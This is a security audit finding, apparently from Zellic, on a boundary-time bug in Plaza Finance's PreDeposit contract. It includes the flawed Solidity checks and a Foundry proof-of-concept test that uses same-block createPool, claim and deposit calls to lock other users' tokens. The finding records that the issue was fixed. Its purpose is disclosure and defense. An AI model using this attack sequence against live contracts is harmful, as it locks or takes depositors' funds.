Zellic - Audit Reports

Category: Coding Mistakes

Claim function could be broken by timing attack

High Impact

High Severity

High Likelihood

Description

In PreDeposit, the checks for depositEndTime are not correct. At the depositEndTime, a user could call createPool, deposit, withdraw, and claim at same time.

Calling deposit after createPool will increase reserveAmount in the claim function. The numerator, representing the total supply of tokens determined during createPool, remains unchanged. However, if the denominator reserveAmount increases, the subsequent share calculation will fail.

function _deposit(uint256 amount, address onBehalfOf) private {
  if (block.timestamp > depositEndTime) revert DepositEnded();
  // ...
}

function createPool() external nonReentrant whenNotPaused {
  if (block.timestamp < depositEndTime) revert DepositNotEnded();
  // ...
}

function claim() external nonReentrant whenNotPaused {
  if (block.timestamp < depositEndTime) revert DepositNotEnded();
  // ...
}

Impact

Even with a very small deposit, the share-calculation formula for the entire predeposit can be disrupted, potentially locking the user's tokens.

The following proof-of-concept script demonstrates that timing attacks can be used to disrupt the share calculation:

function testAuditPreDepositTimingAttack() public {
    // Setup initial deposit
    vm.startPrank(user1);
    reserveToken.approve(address(preDeposit), DEPOSIT_AMOUNT);
    preDeposit.deposit(DEPOSIT_AMOUNT);
    vm.stopPrank();
    vm.startPrank(user2);
    reserveToken.approve(address(preDeposit), DEPOSIT_AMOUNT);
    preDeposit.deposit(DEPOSIT_AMOUNT);
    vm.stopPrank();

    // Create pool
    vm.startPrank(governance);
    preDeposit.setBondAndLeverageAmount(BOND_AMOUNT, LEVERAGE_AMOUNT);
    poolFactory.grantRole(poolFactory.GOV_ROLE(), address(preDeposit));

    vm.warp(block.timestamp + 7 days); // depositEndTime

    // Start timing attack
    vm.startPrank(user1);

    // user1 trigger createPool, it's allowed because it's not onlyOwner
    preDeposit.createPool();
    
    // user1 trigger claim
    preDeposit.claim();
    
    reserveToken.approve(address(preDeposit), 10);
    preDeposit.deposit(10);
    preDeposit.claim();
    vm.stopPrank();

    // End timing attack
    
    // user2 trigger claim
    vm.startPrank(user2);

    // reverted by ERC20InsufficientBalance
    vm.expectRevert();
    preDeposit.claim();
    vm.stopPrank();
}

Recommendations

Use strict conditions to check the depositEndTime in the deposit, withdraw, createPool, and claim functions.

Remediation

This issue has been acknowledged by Plaza Finance, and a fix was implemented in commit e6caae6d↗.